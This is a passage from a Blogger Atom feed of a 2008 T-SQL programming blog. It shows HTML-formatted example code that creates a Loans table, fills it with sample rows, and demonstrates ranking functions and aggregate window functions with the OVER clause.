gray;"&gt;NOT NULL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;DEFAULT &lt;/span&gt;&lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;CHECK &lt;/span&gt;(loan_type &lt;span style="color: gray;"&gt;IN &lt;/span&gt;(&lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;,&amp;nbsp; &lt;span style="color: green;"&gt;-- personal&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;)) &lt;span style="color: green;"&gt;-- business&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; );&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;Loans &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;(1, &lt;span style="color: #a31515;"&gt;'20080801'&lt;/span&gt;, 12000.00, 2, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (2, &lt;span style="color: #a31515;"&gt;'20080805'&lt;/span&gt;, 15700.00, 1, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (3, &lt;span style="color: #a31515;"&gt;'20080610'&lt;/span&gt;, 12000.00, 3, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (4, &lt;span style="color: #a31515;"&gt;'20080401'&lt;/span&gt;, 5000.00, 1, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (5, &lt;span style="color: #a31515;"&gt;'20080715'&lt;/span&gt;, 25000.00, 4, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (6, &lt;span style="color: #a31515;"&gt;'20080610'&lt;/span&gt;, 25000.00, 5, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (7, &lt;span style="color: #a31515;"&gt;'20080501'&lt;/span&gt;, 1000.00, 6, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (8, &lt;span style="color: #a31515;"&gt;'20080810'&lt;/span&gt;, 6000.00, 7, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (9, &lt;span style="color: #a31515;"&gt;'20080815'&lt;/span&gt;, 2000.00, 8, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (10, &lt;span style="color: #a31515;"&gt;'20080815'&lt;/span&gt;, 1000.00, 9, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (11, &lt;span style="color: #a31515;"&gt;'20080715'&lt;/span&gt;, 5500.00, 10, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (12, &lt;span style="color: #a31515;"&gt;'20080615'&lt;/span&gt;, 1000.00, 11, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (13, &lt;span style="color: #a31515;"&gt;'20080820'&lt;/span&gt;, 6000.00, 12, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (14, &lt;span style="color: #a31515;"&gt;'20080510'&lt;/span&gt;, 28000.00, 6, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (15, &lt;span style="color: #a31515;"&gt;'20080815'&lt;/span&gt;, 2000.00, 10, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (16, &lt;span style="color: #a31515;"&gt;'20080810'&lt;/span&gt;, 1500.00, 8, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (17, &lt;span style="color: #a31515;"&gt;'20080817'&lt;/span&gt;, 10000.00, 10, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (18, &lt;span style="color: #a31515;"&gt;'20080816'&lt;/span&gt;, 2500.00, 9, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;);&amp;nbsp;&amp;nbsp; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Top 3 loans by loan type (no ties)&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;loan_nbr, loan_type, loan_amount, rk &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;(&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;loan_nbr, loan_type, loan_amount,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: fuchsia;"&gt;ROW_NUMBER&lt;/span&gt;() &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;(&lt;span style="color: blue;"&gt;PARTITION BY &lt;/span&gt;loan_type&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;ORDER BY &lt;/span&gt;loan_amount &lt;span style="color: blue;"&gt;DESC&lt;/span&gt;) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;rk&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Loans) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;L&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;rk &amp;lt;= 3;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Top 3 loans by loan type (with ties)&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;loan_nbr, loan_type, loan_amount, rk &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;(&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;loan_nbr, loan_type, loan_amount,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: fuchsia;"&gt;DENSE_RANK&lt;/span&gt;() &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;(&lt;span style="color: blue;"&gt;PARTITION BY &lt;/span&gt;loan_type&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;ORDER BY &lt;/span&gt;loan_amount &lt;span style="color: blue;"&gt;DESC&lt;/span&gt;) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;rk&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Loans) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;L&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;rk &amp;lt;= 3;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Latest loan for each customer&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;customer_nbr, loan_nbr, loan_type, loan_amount, loan_date&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;(&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;loan_nbr, loan_type, loan_amount, &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  customer_nbr, loan_date,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: fuchsia;"&gt;ROW_NUMBER&lt;/span&gt;() &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;(&lt;span style="color: blue;"&gt;PARTITION BY &lt;/span&gt;customer_nbr&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;ORDER BY &lt;/span&gt;loan_date &lt;span style="color: blue;"&gt;DESC&lt;/span&gt;) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;rk&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Loans) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;L&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;rk = 1;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-7687971957803821011?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/7687971957803821011/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=7687971957803821011' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/7687971957803821011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/7687971957803821011'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/11/top-n-by-group.html' title='Top N by Group'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-7371690839419868350</id><published>2008-11-11T18:50:00.002-05:00</published><updated>2008-11-11T23:14:24.856-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><title type='text'>Aggregate Window Functions</title><content type='html'>The addition of the OVER clause in SQL Server was a great enhancement to the T-SQL language. Using the ranking functions has helped solve an array of problems in a very efficient manner. While there is a huge benefit of the ranking functions, it is often overlooked that the OVER clause supports now aggregate window functions. This means that the window aggregate function (SUM, AVG, COUNT, MIN, MAX) computes a value for each row from a result set derived from the window (partition). That opens an opportunity to solve problems using new methods.&lt;br /&gt;&lt;br /&gt;Here are a couple examples to demonstrate using aggregate window functions with the OVER clause.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;CREATE TABLE &lt;/span&gt;Loans (&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_nbr &lt;span style="color: blue;"&gt;INT &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;&lt;span style="color: blue;"&gt; PRIMARY KEY&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_date &lt;span style="color: blue;"&gt;DATETIME &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_amount &lt;span style="color: blue;"&gt;DECIMAL&lt;/span&gt;(12, 2) &lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;DEFAULT &lt;/span&gt;0.0,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; customer_nbr &lt;span style="color: blue;"&gt;INT &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; loan_type &lt;span style="color: blue;"&gt;CHAR&lt;/span&gt;(1) &lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;DEFAULT &lt;/span&gt;&lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;CHECK &lt;/span&gt;(loan_type &lt;span style="color: gray;"&gt;IN &lt;/span&gt;(&lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;,&amp;nbsp; &lt;span style="color: green;"&gt;-- personal&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;)) &lt;span style="color: green;"&gt;-- business&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; );&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;Loans &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;(1, &lt;span style="color: #a31515;"&gt;'20080801'&lt;/span&gt;, 12000.00, 2, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (2, &lt;span style="color: #a31515;"&gt;'20080805'&lt;/span&gt;, 15700.00, 1, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (3, &lt;span style="color: #a31515;"&gt;'20080610'&lt;/span&gt;, 12000.00, 3, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (4, &lt;span style="color: #a31515;"&gt;'20080401'&lt;/span&gt;, 5000.00, 1, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (5, &lt;span style="color: #a31515;"&gt;'20080715'&lt;/span&gt;, 25000.00, 4, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (6, &lt;span style="color: #a31515;"&gt;'20080610'&lt;/span&gt;, 25000.00, 5, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (7, &lt;span style="color: #a31515;"&gt;'20080501'&lt;/span&gt;, 1000.00, 6, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (8, &lt;span style="color: #a31515;"&gt;'20080810'&lt;/span&gt;, 6000.00, 7, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (9, &lt;span style="color: #a31515;"&gt;'20080815'&lt;/span&gt;, 2000.00, 8, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (10, &lt;span style="color: #a31515;"&gt;'20080815'&lt;/span&gt;, 1000.00, 9, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (11, &lt;span style="color: #a31515;"&gt;'20080715'&lt;/span&gt;, 5500.00, 10, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (12, &lt;span style="color: #a31515;"&gt;'20080615'&lt;/span&gt;, 1000.00, 11, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (13, &lt;span style="color: #a31515;"&gt;'20080820'&lt;/span&gt;, 6000.00, 12, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (14, &lt;span style="color: #a31515;"&gt;'20080510'&lt;/span&gt;, 28000.00, 6, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (15, &lt;span style="color: #a31515;"&gt;'20080815'&lt;/span&gt;, 2000.00, 10, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (16, &lt;span style="color: #a31515;"&gt;'20080810'&lt;/span&gt;, 1500.00, 8, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (17, &lt;span style="color: #a31515;"&gt;'20080817'&lt;/span&gt;, 10000.00, 10, &lt;span style="color: #a31515;"&gt;'B'&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (18, &lt;span style="color: #a31515;"&gt;'20080816'&lt;/span&gt;, 2500.00, 9, &lt;span style="color: #a31515;"&gt;'P'&lt;/span&gt;);&amp;nbsp;&amp;nbsp; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Aggregate window functions with the OVER clause&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;loan_nbr, loan_type, loan_amount, customer_nbr,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;SUM&lt;/span&gt;(loan_amount) &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;(&lt;span style="color: blue;"&gt;PARTITION BY &lt;/span&gt;customer_nbr) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;total_customer_loans,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;AVG&lt;/span&gt;(loan_amount) &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;(&lt;span style="color: blue;"&gt;PARTITION BY &lt;/span&gt;customer_nbr) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;avg_customer_loan_amt,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;MAX&lt;/span&gt;(loan_amount) &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;(&lt;span style="color: blue;"&gt;PARTITION BY &lt;/span&gt;customer_nbr) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;max_customer_loan_amt,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;MIN&lt;/span&gt;(loan_amount) &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;(&lt;span style="color: blue;"&gt;PARTITION BY &lt;/span&gt;customer_nbr) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;min_customer_loan_amt,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;COUNT&lt;/span&gt;(*) &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;(&lt;span style="color: blue;"&gt;PARTITION BY &lt;/span&gt;customer_nbr) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;count_customer_loans&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Loans;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Calculate percent for current loan based on total customer loans&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- and total of all loans&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;loan_nbr, loan_type, loan_amount, customer_nbr,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; loan_amount /&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;SUM&lt;/span&gt;(loan_amount) &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;(&lt;span style="color: blue;"&gt;PARTITION BY &lt;/span&gt;customer_nbr) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;percent_of_customer_loans,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; loan_amount /&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;SUM&lt;/span&gt;(loan_amount) &lt;span style="color: blue;"&gt;OVER&lt;/span&gt;() &lt;span style="color: blue;"&gt;AS &lt;/span&gt;percent_of_all_loans&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Loans;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Get customers (and all their loans) with more than 2 loans&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;customer_nbr, loan_nbr, loan_amount, cnt&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM 